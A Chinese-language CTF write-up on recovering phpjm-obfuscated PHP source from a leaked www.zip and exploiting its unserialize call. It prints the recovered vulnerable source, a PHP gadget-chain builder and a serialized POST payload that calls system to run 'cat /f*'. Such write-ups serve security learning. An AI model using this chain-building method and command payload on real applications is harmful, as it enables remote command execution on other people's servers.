6、phpjm混淆解密和php反序列化

题目:青少年雏形系统

1、打开链接也是一个登入面板

2、尝试了sqlmap没头绪

3、尝试御剑,发现一个www.zip

4、下载打开,有一个php文件打开有一段phpjm混淆加密

5、使用手工解混淆

具体解法链接:奇安信攻防社区-phpjm混淆解密浅谈

解密网站:代码在线运行 - 在线工具

将加密的PHP复制到网站,将eval改成echo,点击运行

然后继续之前的将eval换成echo,然后运行

然后成功还原PHP源码

6、源码如下:

php 复制代码
<?php
   error_reporting(0);
   class shi
   {
       public $next;
       public $pass;
       public function __toString(){
           $this->next::PLZ($this->pass);
       }
   }
   class wo
   {
       public $sex;
       public $age;
       public $intention;
       public function __destruct(){
           echo "Hi Try serialize Me!";
           $this->inspect();
       }
       function inspect(){
           if($this->sex=='boy'&&$this->age=='eighteen')
           {
               echo $this->intention;
           }
           echo "🙅18岁🈲";
       }
   }
   class Demo
   {
       public $a;
       static function __callStatic($action, $do)
       {
           global $b;
           $b($do[0]);
       }
   }
   $b = $_POST['password'];
   $a = $_POST['username'];
   @unserialize($a);
   if (!isset($b)) {
       echo "==================PLZ Input Your Name!==================";
   }
   if($a=='admin'&&$b=="'k1fuhu's test demo")
   {
       echo("登录成功");
   }
   ?>

7、根据源码,找出链子

php 复制代码
<?php
class shi{}
class wo{}
class Demo{}
 
$c=new Demo();
$b=new shi();
$a=new wo();
$a->sex='boy';
$a->age='eighteen';
$a->intention=$b;
$b->next=$c;
$b->pass='cat /f*';
echo serialize($a);

8、得到序列化的代码:

php 复制代码
username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system

9、得到flag

总结:

1、如果sql注入、弱口令爆破不行,尝试御剑扫目录,会其他收获

2、phpjm混淆解密

相关推荐
二进制person1 小时前
Java EE初阶 --多线程2
java·开发语言
yue0081 小时前
C#理论学习-WinForm实践开发教程总结
开发语言·学习·c#
007php0072 小时前
某游戏大厂 Java 面试题深度解析(四)
java·开发语言·python·面试·职场和发展·golang·php
Mr.Jessy2 小时前
Web APIs学习第一天:获取 DOM 对象
开发语言·前端·javascript·学习·html
午安~婉2 小时前
javaScript八股问题
开发语言·javascript·原型模式
想不明白的过度思考者2 小时前
Rust——异步递归深度指南:从问题到解决方案
开发语言·后端·rust
芝麻开门-新起点2 小时前
flutter 生命周期管理:从 Widget 到 State 的完整解析
开发语言·javascript·ecmascript
我先去打把游戏先3 小时前
ESP32开发指南(基于IDF):连接AWS,乐鑫官方esp-aws-iot-master例程实验、跑通
开发语言·笔记·单片机·物联网·学习·云计算·aws
逻极4 小时前
Rust数据类型(上):标量类型全解析
开发语言·后端·rust
Zhangzy@4 小时前
Rust 编译优化选项
android·开发语言·rust